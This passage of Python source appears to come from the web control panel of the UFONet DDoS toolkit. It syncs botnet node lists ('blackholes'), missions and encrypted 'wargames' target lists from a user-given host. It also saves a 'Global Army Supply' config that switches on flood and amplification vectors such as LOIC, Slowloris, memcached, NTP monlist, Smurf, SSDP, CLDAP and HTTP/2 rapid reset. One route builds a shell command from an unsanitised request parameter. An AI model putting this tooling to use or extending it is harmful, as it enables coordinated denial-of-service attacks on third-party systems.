  4749. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --sa " + cmd_options + "|tee /tmp/out) &"
  4750. else: # search using a search engine
  4751. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  4752. if page == "/cmd_search_update":
  4753. if not os.path.exists('/tmp/out'):
  4754. open('/tmp/out', 'w').close()
  4755. with open('/tmp/out', 'r') as f:
  4756. self.pages["/cmd_search_update"] = "<pre>"+f.read()+"<pre>"
  4757. if page == "/cmd_refresh_blackholes":
  4758. self.pages["/cmd_refresh_blackholes"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4759. blackhole_ip = pGet["blackholes_source"]
  4760. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4761. try:
  4762. blackholes = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/nodes.txt').read().decode('utf-8')
  4763. f = open(self.blackholes, "w") # write updates to nodes
  4764. f.write(blackholes)
  4765. f.close()
  4766. self.blackholes_text = blackholes
  4767. except:
  4768. blackholes = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4769. end_mark = "\n[Info] [AI] End of blackholes list (nodes.txt). -> [Refreshing!]"
  4770. f = open("/tmp/out", "w")
  4771. f.write(str(blackholes))
  4772. f.write(end_mark)
  4773. f.close()
  4774. if page == "/cmd_refresh_blackholes_update":
  4775. if not os.path.exists('/tmp/out'):
  4776. open('/tmp/out', 'w').close()
  4777. with open('/tmp/out', 'r') as f:
  4778. self.pages["/cmd_refresh_blackholes_update"] = "<pre>"+f.read()+"<pre>"
  4779. if page == "/cmd_refresh_news":
  4780. self.pages["/cmd_refresh_news"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4781. blackhole_ip = pGet["news_source"]
  4782. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4783. try:
  4784. news = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/news.txt').read().decode('utf-8')
  4785. f = open(self.news, "w") # write updates to news.txt
  4786. f.write(news)
  4787. f.close()
  4788. self.news_text = news
  4789. except:
  4790. news = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
  4791. end_mark = "\n[Info] [AI] End of news feed. -> [Refreshing!]"
  4792. f = open("/tmp/out", "w")
  4793. f.write(str(news))
  4794. f.write(end_mark)
  4795. f.close()
  4796. if page == "/cmd_refresh_news_update":
  4797. if not os.path.exists('/tmp/out'):
  4798. open('/tmp/out', 'w').close()
  4799. with open('/tmp/out', 'r') as f:
  4800. self.pages["/cmd_refresh_news_update"] = "<pre>"+f.read()+"<pre>"
  4801. if page == "/cmd_refresh_tv":
  4802. self.pages["/cmd_refresh_tv"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4803. blackhole_ip = pGet["tv_source"]
  4804. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4805. try:
  4806. tv = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/tv.txt').read().decode('utf-8')
  4807. f = open(self.tv, "w") # write updates to tv.txt
  4808. f.write(tv)
  4809. f.close()
  4810. self.tv_text = tv
  4811. except:
  4812. tv = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
  4813. end_mark = "\n[Info] [AI] End of TV feed. -> [Refreshing!]"
  4814. f = open("/tmp/out", "w")
  4815. f.write(str(tv))
  4816. f.write(end_mark)
  4817. f.close()
  4818. if page == "/cmd_refresh_tv_update":
  4819. if not os.path.exists('/tmp/out'):
  4820. open('/tmp/out', 'w').close()
  4821. with open('/tmp/out', 'r') as f:
  4822. self.pages["/cmd_refresh_tv_update"] = "<pre>"+f.read()+"<pre>"
  4823. if page == "/cmd_sync_wargames":
  4824. self.pages["/cmd_sync_wargames"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4825. blackhole_ip = pGet["wargames_source"]
  4826. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4827. try:
  4828. wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
  4829. f = open(self.wargames_file, "w") # write updates to wargames.txt
  4830. f.write(wargames)
  4831. f.close()
  4832. self.wargames_text = wargames
  4833. except:
  4834. wargames = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4835. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4836. f = open("/tmp/out", "w")
  4837. f.write(str(wargames))
  4838. f.write(end_mark)
  4839. f.close()
  4840. if page == "/cmd_sync_wargames_update":
  4841. if not os.path.exists('/tmp/out'):
  4842. open('/tmp/out', 'w').close()
  4843. with open('/tmp/out', 'r') as f:
  4844. stream = f.read()
  4845. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4846. self.pages["/cmd_sync_wargames_update"] = "<pre>"+stream+"<pre>"
  4847. if page == "/cmd_sync_links":
  4848. self.pages["/cmd_sync_links"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4849. blackhole_ip = pGet["link_source"]
  4850. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4851. try:
  4852. links = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/links.txt').read().decode('utf-8')
  4853. f = open(self.links_file, "w") # write updates to links.txt
  4854. f.write(links)
  4855. f.close()
  4856. self.links_text = links
  4857. except:
  4858. links = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4859. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4860. f = open("/tmp/out", "w")
  4861. f.write(str(links))
  4862. f.write(end_mark)
  4863. f.close()
  4864. if page == "/cmd_sync_links_update":
  4865. if not os.path.exists('/tmp/out'):
  4866. open('/tmp/out', 'w').close()
  4867. with open('/tmp/out', 'r') as f:
  4868. stream = f.read()
  4869. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4870. self.pages["/cmd_sync_links_update"] = "<pre>"+stream+"<pre>"
  4871. if page == "/cmd_sync_globalnet":
  4872. self.pages["/cmd_sync_globalnet"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4873. blackhole_ip = pGet["globalnet_source"]
  4874. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4875. try:
  4876. globalnet = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/globalnet.txt').read().decode('utf-8')
  4877. f = open(self.globalnet_file, "w") # write updates to globalnet.txt
  4878. f.write(globalnet)
  4879. f.close()
  4880. self.globalnet_text = globalnet
  4881. except:
  4882. globalnet = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4883. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4884. f = open("/tmp/out", "w")
  4885. f.write(str(globalnet))
  4886. f.write(end_mark)
  4887. f.close()
  4888. if page == "/cmd_sync_globalnet_update":
  4889. if not os.path.exists('/tmp/out'):
  4890. open('/tmp/out', 'w').close()
  4891. with open('/tmp/out', 'r') as f:
  4892. stream = f.read()
  4893. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4894. self.pages["/cmd_sync_globalnet_update"] = "<pre>"+stream+"<pre>"
  4895. if page == "/cmd_sync_streams":
  4896. self.pages["/cmd_sync_streams"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4897. blackhole_ip = pGet["stream_source"]
  4898. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4899. try:
  4900. streams = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/streams.txt').read().decode('utf-8')
  4901. f = open(self.streams_file, "w") # write updates to streams.txt
  4902. f.write(streams)
  4903. f.close()
  4904. self.streams_text = streams
  4905. except:
  4906. streams = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4907. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4908. f = open("/tmp/out", "w")
  4909. f.write(str(streams))
  4910. f.write(end_mark)
  4911. f.close()
  4912. if page == "/cmd_sync_streams_update":
  4913. if not os.path.exists('/tmp/out'):
  4914. open('/tmp/out', 'w').close()
  4915. with open('/tmp/out', 'r') as f:
  4916. stream = f.read()
  4917. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4918. self.pages["/cmd_sync_streams_update"] = "<pre>"+stream+"<pre>"
  4919. if page == "/cmd_refresh_missions":
  4920. self.pages["/cmd_refresh_missions"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4921. blackhole_ip = pGet["missions_source"]
  4922. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4923. try:
  4924. missions = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/missions.txt').read().decode('utf-8')
  4925. f = open(self.missions, "w") # write updates to missions.txt
  4926. f.write(missions)
  4927. f.close()
  4928. self.missions_text = missions
  4929. except:
  4930. missions = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4931. end_mark = "\n[Info] [AI] End of missions feed. -> [Refreshing!]"
  4932. f = open("/tmp/out", "w")
  4933. f.write(str(missions))
  4934. f.write(end_mark)
  4935. f.close()
  4936. if page == "/cmd_refresh_missions_update":
  4937. if not os.path.exists('/tmp/out'):
  4938. open('/tmp/out', 'w').close()
  4939. with open('/tmp/out', 'r') as f:
  4940. self.pages["/cmd_refresh_missions_update"] = "<pre>"+f.read()+"<pre>"
  4941. if page == "/cmd_refresh_ranking":
  4942. self.pages["/cmd_refresh_ranking"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4943. ranking_ip = pGet["ranking_source"]
  4944. ranking_ip = urllib.parse.unquote(ranking_ip)
  4945. try:
  4946. ranking = urllib.request.urlopen('http://'+ranking_ip+'/ufonet/grid.txt').read().decode('utf-8')
  4947. f = open(self.grid_file, "w") # write updates to grid.txt
  4948. f.write(ranking)
  4949. f.close()
  4950. self.ranking_text = ranking
  4951. except:
  4952. ranking = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4953. end_mark = "\n[Info] [AI] End of ranking feed. -> [Refreshing!]"
  4954. f = open("/tmp/out", "w")
  4955. f.write(str(ranking))
  4956. f.write(end_mark)
  4957. f.close()
  4958. if page == "/cmd_refresh_ranking_update":
  4959. if not os.path.exists('/tmp/out'):
  4960. open('/tmp/out', 'w').close()
  4961. with open('/tmp/out', 'r') as f:
  4962. self.pages["/cmd_refresh_ranking_update"] = "<pre>"+f.read()+"<pre>"
  4963. if page == "/cmd_sync_grid":
  4964. self.pages["/cmd_sync_grid"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4965. blackhole_ip = pGet["grid_source"]
  4966. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4967. try:
  4968. grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
  4969. f = open(self.grid_file, "w") # write updates to grid.txt
  4970. f.write(grid)
  4971. f.close()
  4972. self.grid_text = grid
  4973. except:
  4974. grid = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4975. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4976. f = open("/tmp/out", "w")
  4977. f.write(str(grid))
  4978. f.write(end_mark)
  4979. f.close()
  4980. if page == "/cmd_sync_grid_update":
  4981. if not os.path.exists('/tmp/out'):
  4982. open('/tmp/out', 'w').close()
  4983. with open('/tmp/out', 'r') as f:
  4984. stream = f.read()
  4985. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4986. self.pages["/cmd_sync_grid_update"] = "<pre>"+stream+"<pre>"
  4987. if page == "/cmd_job_remove":
  4988. self.pages["/cmd_job_remove"] = "<pre>Removing wargame from your list...</pre>"
  4989. try:
  4990. job_id = pGet["id"]
  4991. except:
  4992. job_id = ""
  4993. if job_id != "":
  4994. self.list_wargames.reverse()
  4995. try:
  4996. job_task = self.list_wargames[(int(job_id)-1)]
  4997. f = open(self.wargames_file,"r")
  4998. ls = f.readlines()
  4999. f.close()
  5000. f = open(self.wargames_file,"w")
  5001. for l in ls:
  5002. if str(l) != str(job_task):
  5003. f.write(l)
  5004. f.close()
  5005. except:
  5006. pass
  5007. if page == "/cmd_job_remove_update":
  5008. if not os.path.exists('/tmp/out'):
  5009. open('/tmp/out', 'w').close()
  5010. with open('/tmp/out', 'r') as f:
  5011. self.pages["/cmd_job_remove_update"] = "<pre>"+f.read()+"<pre>"
  5012. if page == "/cmd_job_remove_all":
  5013. self.pages["/cmd_job_remove_all"] = "<pre>Purging ALL -CLOSED- wargames from your list...</pre>"
  5014. try:
  5015. key_params = pGet["key"]
  5016. sep = ","
  5017. key = key_params.rsplit(sep, 1)[0]
  5018. except:
  5019. key = ""
  5020. if key != "":
  5021. try:
  5022. self.list_wargames.reverse()
  5023. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  5024. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  5025. f = open(self.wargames_file,"r")
  5026. ls = f.readlines()
  5027. f.close()
  5028. f = open(self.wargames_file,"w")
  5029. sep = wargames_msg_sep
  5030. for l in ls:
  5031. job_estimated = l.rsplit(sep, 1)[1]
  5032. self.decrypt(key, job_estimated)
  5033. if self.decryptedtext:
  5034. job_estimated = self.decryptedtext
  5035. else:
  5036. job_estimated = now
  5037. self.decryptedtext = ""
  5038. job_estimated = strptime(job_estimated, "%d-%m-%Y %H:%M:%S")
  5039. if (now >= job_estimated) == False: # -ONGOING-
  5040. f.write(l)
  5041. f.close()
  5042. except:
  5043. pass
  5044. if page == "/cmd_job_remove_all_update":
  5045. if not os.path.exists('/tmp/out'):
  5046. open('/tmp/out', 'w').close()
  5047. with open('/tmp/out', 'r') as f:
  5048. self.pages["/cmd_job_remove_all_update"] = "<pre>"+f.read()+"<pre>"
  5049. if page == "/cmd_edit_supply":
  5050. self.pages["/cmd_edit_supply"] = "<pre>Changing 'Global Army Supply' configuration...</pre>"
  5051. try:
  5052. supply_botnet = pGet["botnet"]
  5053. supply_loic = pGet["loic"]
  5054. supply_loris = pGet["loris"]
  5055. supply_memcached = pGet.get("memcached", "0")
  5056. supply_chargen = pGet.get("chargen", "0")
  5057. supply_cldap = pGet.get("cldap", "0")
  5058. supply_ssdp = pGet.get("ssdp", "0")
  5059. supply_qotd = pGet.get("qotd", "0")
  5060. supply_tftp = pGet.get("tftp", "0")
  5061. supply_wsdisco = pGet.get("wsdisco", "0")
  5062. supply_coap = pGet.get("coap", "0")
  5063. supply_mssql = pGet.get("mssql", "0")
  5064. supply_arms = pGet.get("arms", "0")
  5065. supply_plex = pGet.get("plex", "0")
  5066. supply_netbios = pGet.get("netbios", "0")
  5067. supply_ripv1 = pGet.get("ripv1", "0")
  5068. supply_middlebox = pGet.get("middlebox", "0")
  5069. supply_rapidreset = pGet.get("rapidreset", "0")
  5070. supply_slowread = pGet.get("slowread", "0")
  5071. supply_goldeneye = pGet.get("goldeneye", "0")
  5072. supply_finflood = pGet.get("finflood", "0")
  5073. supply_ufosyn = pGet["ufosyn"]
  5074. supply_spray = pGet["spray"]
  5075. supply_smurf = pGet["smurf"]
  5076. supply_xmas = pGet["xmas"]
  5077. supply_nuke = pGet["nuke"]
  5078. supply_tachyon = pGet["tachyon"]
  5079. supply_monlist = pGet["monlist"]
  5080. supply_fraggle = pGet["fraggle"]
  5081. supply_sniper = pGet["sniper"]
  5082. supply_ufoack = pGet["ufoack"]
  5083. supply_uforst = pGet["uforst"]
  5084. supply_droper = pGet["droper"]
  5085. supply_overlap = pGet["overlap"]
  5086. supply_pinger = pGet["pinger"]
  5087. supply_ufoudp = pGet["ufoudp"]
  5088. except: # default global supply army
  5089. supply_botnet = 1
  5090. supply_loic = 0
  5091. supply_loris = 0
  5092. supply_memcached = 0
  5093. supply_chargen = 0
  5094. supply_cldap = 0
  5095. supply_ssdp = 0
  5096. supply_qotd = 0
  5097. supply_tftp = 0
  5098. supply_wsdisco = 0
  5099. supply_coap = 0
  5100. supply_mssql = 0
  5101. supply_arms = 0
  5102. supply_plex = 0
  5103. supply_netbios = 0
  5104. supply_ripv1 = 0
  5105. supply_middlebox = 0
  5106. supply_rapidreset = 0
  5107. supply_slowread = 0
  5108. supply_goldeneye = 0
  5109. supply_finflood = 0
  5110. supply_ufosyn = 0
  5111. supply_spray = 0
  5112. supply_smurf = 0
  5113. supply_xmas = 0
  5114. supply_nuke = 0
  5115. supply_tachyon = 0
  5116. supply_monlist = 0
  5117. supply_fraggle = 0
  5118. supply_sniper = 0
  5119. supply_ufoack = 0
  5120. supply_uforst = 0
  5121. supply_droper = 0
  5122. supply_overlap = 0
  5123. supply_pinger = 0
  5124. supply_ufoudp = 0
  5125. with open(self.mothership_supplycfg_file, "w") as f:
  5126. json.dump({"botnet": supply_botnet, "loic": supply_loic, "loris": supply_loris, "ufosyn": supply_ufosyn, "spray": supply_spray, "smurf": supply_smurf, "xmas": supply_xmas, "nuke": supply_nuke, "tachyon": supply_tachyon, "monlist": supply_monlist, "fraggle": supply_fraggle, "sniper": supply_sniper, "ufoack": supply_ufoack, "uforst": supply_uforst, "droper": supply_droper, "overlap": supply_overlap, "pinger": supply_pinger, "ufoudp": supply_ufoudp, "memcached": supply_memcached, "chargen": supply_chargen, "cldap": supply_cldap, "ssdp": supply_ssdp, "qotd": supply_qotd, "tftp": supply_tftp, "wsdisco": supply_wsdisco, "coap": supply_coap, "mssql": supply_mssql, "arms": supply_arms, "plex": supply_plex, "netbios": supply_netbios, "ripv1": supply_ripv1, "middlebox": supply_middlebox, "rapidreset": supply_rapidreset, "slowread": supply_slowread, "goldeneye": supply_goldeneye, "finflood": supply_finflood}, f, indent=4)
  5127. if page == "/cmd_job_add":
  5128. self.pages["/cmd_job_add"] = "<pre>Adding wargame to your list...</pre>"
  5129. try:
  5130. job_params = pGet["id"]
  5131. sep = ","
  5132. job_id = job_params.rsplit(sep, 1)[0]
  5133. except:
  5134. job_id = ""
  5135. if job_id != "":
  5136. self.list_wargames.reverse()
  5137. try:
  5138. job_task = self.list_wargames[(int(job_id)-1)]
  5139. f = open(self.wargames_file,"r")
  5140. ls = f.readlines()
  5141. f.close()
  5142. f = open(self.wargames_file,"w")
  5143. sep = wargames_msg_sep
  5144. for l in ls:
  5145. if str(l) != str(job_task):
  5146. f.write(l)
  5147. else:
  5148. job_t2 = job_task.rsplit(sep, 1)[0]
  5149. job_creation = job_t2.rsplit(sep, 1)[0]
  5150. job_target = job_t2.rsplit(sep, 1)[1]
  5151. job_estimated = job_task.rsplit(sep, 1)[1]
  5152. l = str(job_creation) + wargames_msg_sep + str(job_target) + "!!!#-#" + str(job_estimated) # '!!!' target marked as job
  5153. f.write(l)
  5154. f.close()
  5155. except:
  5156. pass
  5157. if page == "/cmd_job_add_update":
  5158. if not os.path.exists('/tmp/out'):
  5159. open('/tmp/out', 'w').close()
  5160. with open('/tmp/out', 'r') as f:
  5161. self.pages["/cmd_job_add_update"] = "<pre>"+f.read()+"<pre>"
  5162. if page == "/cmd_job_add_all":
  5163. self.pages["/cmd_job_add_all"] = "<pre>Engaging ALL -ONGOING- wargames... ;-)</pre>"
  5164. try:
  5165. self.list_wargames.reverse()
  5166. f = open(self.wargames_file,"r")
  5167. ls = f.readlines()
  5168. f.close()
  5169. f = open(self.wargames_file,"w")
  5170. sep = wargames_msg_sep
  5171. for l in ls:
  5172. job_t2 = l.rsplit(sep, 1)[0]
  5173. job_creation = job_t2.rsplit(sep, 1)[0]
  5174. job_target = job_t2.rsplit(sep, 1)[1]
  5175. job_estimated = l.rsplit(sep, 1)[1]
  5176. if not "!!!" in job_target:
  5177. l = str(job_creation) + wargames_msg_sep + str(job_target) + "!!!#-#" + str(job_estimated)
  5178. else:
  5179. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  5180. f.write(l)
  5181. f.close()
  5182. except:
  5183. pass
  5184. if page == "/cmd_job_add_all_update":
  5185. if not os.path.exists('/tmp/out'):
  5186. open('/tmp/out', 'w').close()
  5187. with open('/tmp/out', 'r') as f:
  5188. self.pages["/cmd_job_add_all_update"] = "<pre>"+f.read()+"<pre>"
  5189. if page == "/cmd_job_cancel":
  5190. self.pages["/cmd_job_cancel"] = "<pre>Canceling wargame from your list...</pre>"
  5191. try:
  5192. job_params = pGet["id"]
  5193. sep = ","
  5194. job_id = job_params.rsplit(sep, 1)[0]
  5195. except:
  5196. job_id = ""
  5197. if job_id != "":
  5198. self.list_wargames.reverse()
  5199. try:
  5200. job_task = self.list_wargames[(int(job_id)-1)]
  5201. f = open(self.wargames_file,"r")
  5202. ls = f.readlines()
  5203. f.close()
  5204. f = open(self.wargames_file,"w")
  5205. for l in ls:
  5206. if str(l) != str(job_task):
  5207. f.write(l)
  5208. else:
  5209. sep = wargames_msg_sep
  5210. job_t2 = job_task.rsplit(sep, 1)[0]
  5211. job_creation = job_t2.rsplit(sep, 1)[0]
  5212. job_target = job_t2.rsplit(sep, 1)[1]
  5213. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  5214. job_estimated = job_task.rsplit(sep, 1)[1]
  5215. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  5216. f.write(l)
  5217. f.close()
  5218. except:
  5219. pass
  5220. if page == "/cmd_job_cancel_update":
  5221. if not os.path.exists('/tmp/out'):
  5222. open('/tmp/out', 'w').close()
  5223. with open('/tmp/out', 'r') as f:
  5224. self.pages["/cmd_job_cancel_update"] = "<pre>"+f.read()+"<pre>"
  5225. if page == "/cmd_job_cancel_all":
  5226. self.pages["/cmd_job_cancel_all"] = "<pre>Canceling ALL -JOINED- wargames from your list...</pre>"
  5227. try:
  5228. self.list_wargames.reverse()
  5229. f = open(self.wargames_file,"r")
  5230. ls = f.readlines()
  5231. f.close()
  5232. f = open(self.wargames_file,"w")
  5233. sep = wargames_msg_sep
  5234. for l in ls:
  5235. job_t2 = l.rsplit(sep, 1)[0]
  5236. job_creation = job_t2.rsplit(sep, 1)[0]
  5237. job_target = job_t2.rsplit(sep, 1)[1]
  5238. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  5239. job_estimated = l.rsplit(sep, 1)[1]
  5240. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  5241. f.write(l)
  5242. f.close()
  5243. except:
  5244. pass
  5245. if page == "/cmd_job_cancel_all_update":
  5246. if not os.path.exists('/tmp/out'):
  5247. open('/tmp/out', 'w').close()
  5248. with open('/tmp/out', 'r') as f:
  5249. self.pages["/cmd_job_cancel_all_update"] = "<pre>"+f.read()+"<pre>"
  5250. if page == "/cmd_job_filter":
  5251. try:
  5252. job_filter = pGet["filter"]
  5253. job_key = pGet["key"]
  5254. except:
  5255. job_filter = "creation"
  5256. job_key = str(self.crypto_key)
  5257. self.pages["/cmd_job_filter"] = "<pre>Ordering wargames by: "+job_filter+"</pre>"
  5258. nodec_text = "KEY?"
  5259. try:
  5260. wargames_items=[]
  5261. with open(self.wargames_file) as f:
  5262. ls = f.read().splitlines()
  5263. f.close()
  5264. f = open(self.wargames_file,"w")
  5265. for j in ls:
  5266. if wargames_msg_sep in j:
  5267. m = j.split(wargames_msg_sep)
  5268. wargames_creation = m[0] # creation date
  5269. self.decrypt(job_key, wargames_creation)
  5270. if self.decryptedtext:
  5271. wargames_creation = self.decryptedtext
  5272. else:
  5273. wargames_creation = nodec_text
  5274. self.decryptedtext = "" # clean decryptedtext buffer
  5275. wargames_target = m[1] # target
  5276. self.decrypt(job_key, wargames_target)
  5277. if self.decryptedtext:
  5278. wargames_target = self.decryptedtext
  5279. if wargames_target.startswith("www."):
  5280. wargames_target = wargames_target.replace("www.","")
  5281. else:
  5282. wargames_target = nodec_text
  5283. self.decryptedtext = "" # clean decryptedtext buffer
  5284. wargames_estimated = m[2] # estimated date
  5285. self.decrypt(job_key, wargames_estimated)
  5286. if self.decryptedtext:
  5287. wargames_estimated = self.decryptedtext
  5288. else:
  5289. wargames_estimated = nodec_text
  5290. self.decryptedtext = "" # clean decryptedtext buffer
  5291. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  5292. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  5293. wargames_items.append([wargames_creation,wargames_target,wargames_estimated])
  5294. if job_filter == "creation":
  5295. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  5296. elif job_filter == "target":
  5297. wargames_items=sorted(wargames_items,key=lambda x:x[1]) # sorted by target
  5298. elif job_filter == "estimated":
  5299. wargames_items=sorted(wargames_items,key=lambda x:x[2]) # sorted by estimated
  5300. else:
  5301. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  5302. for i in wargames_items:
  5303. wargames_creation = i[0]
  5304. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  5305. self.encrypt(job_key, wargames_creation)
  5306. if self.encryptedtext:
  5307. wargames_creation = self.encryptedtext
  5308. self.encryptedtext = "" # clean encryptedtext buffer
  5309. wargames_target = str(i[1])
  5310. self.encrypt(job_key, wargames_target)
  5311. if self.encryptedtext:
  5312. wargames_target = self.encryptedtext
  5313. self.encryptedtext = "" # clean encryptedtext buffer
  5314. wargames_estimated = i[2]
  5315. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  5316. self.encrypt(job_key, wargames_estimated)
  5317. if self.encryptedtext:
  5318. wargames_estimated = self.encryptedtext
  5319. self.encryptedtext = "" # clean encryptedtext buffer
  5320. l = str(wargames_creation) + wargames_msg_sep + str(wargames_target) + wargames_msg_sep + str(wargames_estimated)
  5321. f.write(l + os.linesep)
  5322. f.close()
  5323. except:
  5324. pass
  5325. if page == "/cmd_job_filter_update":
  5326. if not os.path.exists('/tmp/out'):
  5327. open('/tmp/out', 'w').close()
  5328. with open('/tmp/out', 'r') as f:
  5329. self.pages["/cmd_job_filter_update"] = "<pre>"+f.read()+"<pre>"
  5330. if page == "/cmd_link_filter":
  5331. try:
  5332. link_filter = pGet["filter"]
  5333. link_key = pGet["key"]
  5334. except:
  5335. link_filter = "creation"
  5336. link_key = str(self.crypto_key)
  5337. self.pages["/cmd_link_filter"] = "<pre>Ordering links by: "+link_filter+"</pre>"
  5338. nodec_text = "KEY?"
  5339. try:
  5340. links_items=[]
  5341. with open(self.links_file) as f:
  5342. ls = f.read().splitlines()
  5343. f.close()
  5344. f = open(self.links_file,"w")
  5345. for j in ls:
  5346. if links_msg_sep in j:
  5347. m = j.split(links_msg_sep)
  5348. link_creation = m[0] # creation date
  5349. self.decrypt(link_key, link_creation)
  5350. if self.decryptedtext:
  5351. link_creation = self.decryptedtext
  5352. else:
  5353. link_creation = nodec_text
  5354. self.decryptedtext = "" # clean decryptedtext buffer
  5355. link_url = m[1] # url
  5356. self.decrypt(link_key, link_url)
  5357. if self.decryptedtext:
  5358. link_url = self.decryptedtext
  5359. if link_url.startswith("www."):
  5360. link_url = link_url.replace("www.","")
  5361. else:
  5362. link_url = nodec_text
  5363. self.decryptedtext = "" # clean decryptedtext buffer
  5364. link_topic = m[2] # topic
  5365. self.decrypt(link_key, link_topic)
  5366. if self.decryptedtext:
  5367. link_topic = self.decryptedtext
  5368. else:
  5369. link_topic = nodec_text
  5370. self.decryptedtext = "" # clean decryptedtext buffer
  5371. link_creation = strptime(link_creation, "%d-%m-%Y %H:%M:%S")
  5372. links_items.append([link_creation,link_url,link_topic])
  5373. if link_filter == "creation":
  5374. links_items=sorted(links_items,key=lambda x:x[0]) # sorted by creation
  5375. elif link_filter == "url":
  5376. links_items=sorted(links_items,key=lambda x:x[1]) # sorted by url
  5377. elif link_filter == "topic":
  5378. links_items=sorted(links_items,key=lambda x:x[2]) # sorted by topic
  5379. else:
  5380. links_items=sorted(links_items,key=lambda x:x[0]) # sorted by creation
  5381. for i in links_items:
  5382. link_creation = i[0]
  5383. link_creation = strftime("%d-%m-%Y %H:%M:%S", link_creation)
  5384. self.encrypt(link_key, link_creation)
  5385. if self.encryptedtext:
  5386. link_creation = self.encryptedtext
  5387. else:
  5388. link_creation = nodec_text
  5389. self.encryptedtext = "" # clean encryptedtext buffer
  5390. link_url = str(i[1])
  5391. self.encrypt(link_key, link_url)
  5392. if self.encryptedtext:
  5393. link_url = self.encryptedtext
  5394. else:
  5395. link_url = nodec_text
  5396. self.encryptedtext = "" # clean encryptedtext buffer
  5397. link_topic = str(i[2])
  5398. self.encrypt(link_key, link_topic)
  5399. if self.encryptedtext:
  5400. link_topic = self.encryptedtext
  5401. else:
  5402. link_topic = nodec_text
  5403. self.encryptedtext = "" # clean encryptedtext buffer
  5404. l = str(link_creation) + links_msg_sep + str(link_url) + links_msg_sep + str(link_topic)
  5405. f.write(l + os.linesep)
  5406. f.close()
  5407. except:
  5408. pass
  5409. if page == "/cmd_link_filter_update":
  5410. if not os.path.exists('/tmp/out'):
  5411. open('/tmp/out', 'w').close()
  5412. with open('/tmp/out', 'r') as f:
  5413. self.pages["/cmd_link_filter_update"] = "<pre>"+f.read()+"<pre>"
  5414. if page == "/cmd_stream_filter":
  5415. try:
  5416. stream_filter = pGet["filter"]
  5417. stream_key = pGet["key"]
  5418. except:
  5419. stream_filter = "creation"
  5420. stream_key = str(self.crypto_key)
  5421. self.pages["/cmd_stream_filter"] = "<pre>Ordering streams by: "+stream_filter+"</pre>"
  5422. nodec_text = "KEY?"
  5423. try:
  5424. streams_items=[]
  5425. with open(self.streams_file) as f:
  5426. ls = f.read().splitlines()
  5427. f.close()
  5428. f = open(self.streams_file,"w")
  5429. for j in ls:
  5430. if streams_msg_sep in j:
  5431. m = j.split(streams_msg_sep)
  5432. stream_creation = m[0] # creation date
